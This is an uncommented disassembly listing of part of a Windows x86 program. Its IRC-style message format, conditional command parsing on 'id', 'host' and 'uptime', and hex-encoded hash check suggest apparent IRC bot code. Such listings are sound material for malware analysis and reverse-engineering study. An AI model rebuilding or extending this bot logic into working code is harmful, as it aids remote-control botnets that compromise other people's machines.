XREF: sub_40158Cj arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax call near ptr 71AB428Ah nop mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_41299E mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_44AC5E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41299E: ; CODE XREF: sub_412940+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412940 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4129D0 proc near ; CODE XREF: sub_401E24j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_40158C add esp, 2000h retn sub_4129D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412A40 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412A40 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_412A77 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_412A77: ; CODE XREF: sub_412A40+21j lea ecx, [esp+40h+var_3C] call sub_40142E mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_412A98 mov eax, dword_4490C0 push eax jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412A98: ; CODE XREF: sub_412A40+4Ej mov ecx, dword_4490C8 push ecx loc_412A9F: ; CODE XREF: sub_412A40+56j lea ecx, [esp+44h+var_3C] call sub_4015E1 push ebx lea ecx, [esp+44h+var_24] call sub_40142E mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+50h+var_24] push offset aSSS_1 ; "%s %s :%s\r\n" push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014DD push eax mov ecx, esi call sub_40158C lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B70 proc near ; CODE XREF: sub_401857j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412B70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412BF0 proc near ; CODE XREF: sub_401D20j push esi mov esi, ecx call sub_401FD7 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412BF0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C20 proc near ; CODE XREF: sub_401FD7j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call near ptr 71AB9639h nop mov ecx, offset word_44AC5E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop esi retn sub_412C20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C60 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412C60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C90 proc near ; CODE XREF: sub_401B68j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412C90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412CE0 proc near ; CODE XREF: sub_401F1Ej var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412CE0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_412CE0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412D80: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43AC4E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4130A6 push ebx push edi push offset asc_444600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016B8 push offset asc_444600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016B8 push offset asc_444600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016B8 mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013E3 lea ecx, [esp+28h] mov ebx, eax call sub_4013E3 lea ecx, [esp+40h] add ebx, eax call sub_4013E3 mov ecx, edi add ebx, eax call sub_4013E3 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E47 push offset asc_444600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016B8 lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E47 push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40202C lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40202C push offset asc_444D1C ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F05 xor edi, edi loc_412F05: ; CODE XREF: ___:00412F01j push offset asc_444D18 ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F1C mov edi, 1 loc_412F1C: ; CODE XREF: ___:00412F15j push offset asc_444D14 ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F33 mov edi, 2 loc_412F33: ; CODE XREF: ___:00412F2Cj push offset asc_444D10 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F4A mov edi, 3 loc_412F4A: ; CODE XREF: ___:00412F43j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FA4 test edi, edi jnz short loc_412F7A lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44955A call sub_4012EE test eax, eax jz short loc_412FA4 jmp short loc_412F97 ; --------------------------------------------------------------------------- loc_412F7A: ; CODE XREF: ___:00412F5Ej cmp edi, 1 jnz short loc_412FA4 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44955A call sub_4012EE test eax, eax jnz short loc_412FA4 loc_412F97: ; CODE XREF: ___:00412F78j push 0 push esi mov ecx, offset byte_449277 call sub_401A41 loc_412FA4: ; CODE XREF: ___:00412F5Aj ; ___:00412F76j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FF7 test edi, edi jnz short loc_412FD8 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D809D call sub_4013ED test eax, eax jnz loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FD8: ; CODE XREF: ___:00412FB8j cmp edi, 1 jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D809D call sub_4013ED test eax, eax jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FF7: ; CODE XREF: ___:00412FB4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_40165E test edi, edi jnz short loc_41302D cmp eax, ebx jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_41302D: ; CODE XREF: ___:00413025j cmp edi, 1 jnz short loc_413038 cmp eax, ebx jnz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413038: ; CODE XREF: ___:00413030j cmp edi, 2 jnz short loc_413043 cmp eax, ebx jle short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: ___:0041303Bj cmp edi, 3 jnz short loc_413059 cmp eax, ebx jge short loc_413059 loc_41304C: ; CODE XREF: ___:00412FD6j ; ___:00412FF5j ... push 0 push esi mov ecx, offset byte_449277 call sub_401A41 loc_413059: ; CODE XREF: ___:00412FD0j ; ___:00412FDBj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_4130A8 ; --------------------------------------------------------------------------- loc_4130A6: ; CODE XREF: ___:00412DB9j mov al, 1 loc_4130A8: ; CODE XREF: ___:004130A4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4131B0 proc near ; CODE XREF: sub_40165Ej nop call near ptr 2800BE7h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4131B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_402018j var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4131F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401753 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F23 sub_4131F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401852 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43F044 call sub_401933 mov ecx, ebx call sub_401C76 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132C0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j push esi mov esi, ecx call sub_401CA3 sub_4132C0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_4132D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4132D8: ; CODE XREF: ___:004132CDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132F0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43F044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401933 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C76 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014BF sub_4132F0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4133B0 proc near ; CODE XREF: sub_401A05j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4133B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4133B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019C4 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4134A0 proc near ; CODE XREF: sub_401CE4j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4134A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017EE test eax, eax jz short loc_413547 lea ecx, [esp+18h+var_14] call sub_402275 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413547 loc_413508: ; CODE XREF: sub_4134A0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41356C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413508 loc_413547: ; CODE XREF: sub_4134A0+2Ej ; sub_4134A0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41356C: ; CODE XREF: sub_4134A0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4134A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4135E0 proc near ; CODE XREF: sub_402130j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4135E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017EE test eax, eax jz loc_4136B3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401992 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jz short loc_4136B3 loc_41364F: ; CODE XREF: sub_4135E0+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014D3 mov ecx, ebx call sub_401CE4 mov esi, eax test esi, esi jz short loc_41367C mov edi, [esi] loc_41367C: ; CODE XREF: sub_4135E0+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B86 test eax, eax jz short loc_4136DB test esi, esi jnz short loc_4136DB lea ecx, [esp+28h+var_18] call sub_4018C5 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jnz short loc_41364F loc_4136B3: ; CODE XREF: sub_4135E0+31j ; sub_4135E0+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4136C6: ; CODE XREF: sub_4135E0+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_4136DB: ; CODE XREF: sub_4135E0+AAj ; sub_4135E0+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4136C6 sub_4135E0 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413740 proc near ; CODE XREF: sub_401F64j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413740 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017EE test eax, eax jz short loc_4137E4 lea ecx, [esp+14h+var_14] call sub_401E38 lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jz short loc_4137E4 loc_4137A6: ; CODE XREF: sub_413740+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jz short loc_413816 lea ecx, [esp+14h+var_14] call sub_4020C2 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jnz short loc_4137A6 loc_4137E4: ; CODE XREF: sub_413740+2Bj ; sub_413740+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401582 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413816: ; CODE XREF: sub_413740+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FC3 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401582 sub_413740 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4138B0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4138B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017EE test eax, eax jz loc_4139E3 lea eax, [esp+0A8h+var_64] push eax call sub_401A69 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_40142E push offset byte_448F30 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015E1 lea ecx, [esp+0A8h+arg_0] call sub_4013E3 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014DD lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C26 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402176 add esp, 14h loc_41394B: ; CODE XREF: sub_4138B0+E8j lea ecx, [esp+0A8h+var_8C] call sub_40142E xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016C7 lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41394B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B86 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_4139DE call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4139FC ; --------------------------------------------------------------------------- loc_4139DE: ; CODE XREF: sub_4138B0+10Cj call sub_401226 loc_4139E3: ; CODE XREF: sub_4138B0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4139FC: ; CODE XREF: sub_4138B0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4138B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413A80 proc near ; CODE XREF: sub_40192Ej var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413A80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014D3 mov ecx, esi call sub_402130 test eax, eax jz short loc_413B2E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_401726 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014D3 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F64 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413B2E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413B2E: ; CODE XREF: sub_413A80+3Fj ; sub_413A80+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_413A80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413BB0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_43AE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40192E mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413C40 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413C40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413D89 lea ecx, [esp+48h+arg_0] call sub_4017EE test eax, eax jz loc_413D89 push esi push edi push offset asc_444C6C ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413D63 add ebp, 54h loc_413CC0: ; CODE XREF: sub_413C40+11Dj push 15h call sub_437AEA 